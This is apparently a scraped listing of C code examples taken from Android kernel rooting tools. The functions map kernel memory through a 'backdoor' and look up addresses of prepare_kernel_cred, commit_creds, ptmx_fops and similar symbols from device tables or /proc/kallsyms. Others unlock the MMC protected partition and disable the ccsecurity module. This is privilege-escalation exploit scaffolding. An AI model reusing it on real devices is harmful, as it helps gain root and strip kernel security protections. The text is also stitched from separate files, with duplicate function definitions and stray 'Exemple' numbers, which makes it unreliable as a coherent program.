static bool
do_unlock(void)
{
  bool ret;

  if (!backdoor_open_mmap()) {
    printf("Failed to mmap due to %s.\n", strerror(errno));
    printf("Run 'install_backdoor' first\n");

    return false;
  }

  if (!setup_param_from_database()) {
    backdoor_close_mmap();

    print_reason_device_not_supported();

    return false;
  }

  ret = unlock_mmc_protect_part();

  backdoor_close_mmap();
  return ret;
}
int
main(int argc, char **argv)
{
  if (!backdoor_open_mmap()) {
    printf("Failed to mmap due to %s.\n", strerror(errno));
    printf("Run 'install_backdoor' first\n");

    exit(EXIT_FAILURE);
  }

  if (!setup_variables()) {
    print_reason_device_not_supported();

    backdoor_close_mmap();
    exit(EXIT_FAILURE);
  }

  if (!disable_ccsecurity()) {
    printf("Disable ccsecurity failed\n");

    backdoor_close_mmap();
    exit(EXIT_FAILURE);
  }

  backdoor_close_mmap();

  exit(EXIT_SUCCESS);
}
unsigned long int
get_ptmx_fops_address(void)
{
  int i;
  device_id_t device_id;

  device_id = detect_device();

  for (i = 0; i < n_supported_devices; i++) {
    if (supported_devices[i].device_id == device_id) {
      return supported_devices[i].ptmx_fops_address;
    }
  }

  if (kallsyms_exist()) {
    unsigned long int address;

    address = kallsyms_get_symbol_address("ptmx_fops");
    if (address) {
      return address;
    }
  }

  print_reason_device_not_supported();
  return 0;
}
static bool
get_creds_functions_addresses(void **prepare_kernel_cred_address, void **commit_creds_address)
{
    *prepare_kernel_cred_address = (void *)device_get_symbol_address(DEVICE_SYMBOL(prepare_kernel_cred));
    *commit_creds_address = (void*)device_get_symbol_address(DEVICE_SYMBOL(commit_creds));

    if (*prepare_kernel_cred_address && *commit_creds_address) {
        return true;
    }

    print_reason_device_not_supported();

    return false;
}
static void *
get_delayed_rsp_id_addresses(void)
{
  void *value;

  value = (void *)device_get_symbol_address(DEVICE_SYMBOL(delayed_rsp_id));
  if (value) {
    return value;
  }

  print_reason_device_not_supported();

  return NULL;
}
Exemple #6
0
static const acdb_param *
get_acdb_param(void)
{
  device_id_t device_id = detect_device();
  int i;

  for (i = 0; i < n_supported_devices; i++) {
    if (supported_devices[i].device_id == device_id) {
      return &supported_devices[i].param;
    }
  }

  print_reason_device_not_supported();
  return NULL;
}
static unsigned long int
get_perf_swevent_enabled_address(void)
{
  int i;
  device_id_t device_id;

  device_id = detect_device();

  for (i = 0; i < n_supported_devices; i++) {
    if (supported_devices[i].device_id == device_id){
      return supported_devices[i].perf_swevent_enabled_address;
    }
  }

  print_reason_device_not_supported();

  return 0;
}
unsigned long int
_get_remap_pfn_range_address(void)
{
  int i;
  device_id_t device_id;

  device_id = detect_device();

  for (i = 0; i < n_supported_devices; i++) {
    if (supported_devices[i].device_id == device_id){
      return supported_devices[i].remap_pfn_range_address;
    }
  }

  print_reason_device_not_supported();

  return 0;
}
Exemple #9
0
static unsigned long int
get_sys_setresuid_address(void)
{
  int i;
  device_id_t device_id;

  device_id = detect_device();

  for (i = 0; i < n_supported_devices; i++) {
    if (supported_devices[i].device_id == device_id) {
      return supported_devices[i].set_sysresuid_address;
    }
  }

  print_reason_device_not_supported();
  printf("Attempting to detect from /proc/kallsyms...\n");

  return get_sys_setresuid_address_from_kallayms();
}
static bool
setup_variables(void)
{
  kernel_physical_offset = device_get_symbol_address(DEVICE_SYMBOL(kernel_physical_offset));
  if (kernel_physical_offset) {
    return true;
  }

  kernel_physical_offset = find_kernel_text_from_iomem();
  if (kernel_physical_offset) {
    return true;
  }

  kernel_physical_offset = find_kernel_text_from_config();
  if (kernel_physical_offset) {
    return true;
  }

  print_reason_device_not_supported();
  return false;
}
Exemple #11
0
bool
setup_variables(void)
{
  setup_prepare_kernel_cred_address();
  setup_commit_creds_address();
  setup_ptmx_fops_address();

  if (prepare_kernel_cred && commit_creds && ptmx_fops) {
    return true;
  }

  printf("Try to find address in memory...\n");
  run_with_mmap(find_variables_in_memory);

  if (prepare_kernel_cred && commit_creds && ptmx_fops) {
    printf("  prepare_kernel_cred = %p\n", prepare_kernel_cred);
    printf("  commit_creds = %p\n", commit_creds);
    printf("  ptmx_fops = %p\n", ptmx_fops);

    return true;
  }

  if (!prepare_kernel_cred) {
    printf("Failed to get prepare_kernel_cred addresses.\n");
  }

  if (!commit_creds) {
    printf("Failed to get commit_creds addresses.\n");
  }

  if (!ptmx_fops) {
    printf("Failed to get ptmx_fops addresses.\n");
  }

  print_reason_device_not_supported();

  return false;
}
static bool
get_creds_functions_addresses(void **prepare_kernel_cred_address, void **commit_creds_address)
{
  int i;
  device_id_t device_id;

  device_id = detect_device();

  for (i = 0; i < n_supported_devices; i++) {
    if (supported_devices[i].device_id == device_id){
      if (prepare_kernel_cred_address) {
        *prepare_kernel_cred_address = (void*)supported_devices[i].prepare_kernel_cred_address;
      }
      if (commit_creds_address) {
        *commit_creds_address = (void*)supported_devices[i].commit_creds_address;
      }
      return true;
    }
  }

  print_reason_device_not_supported();

  return false;
}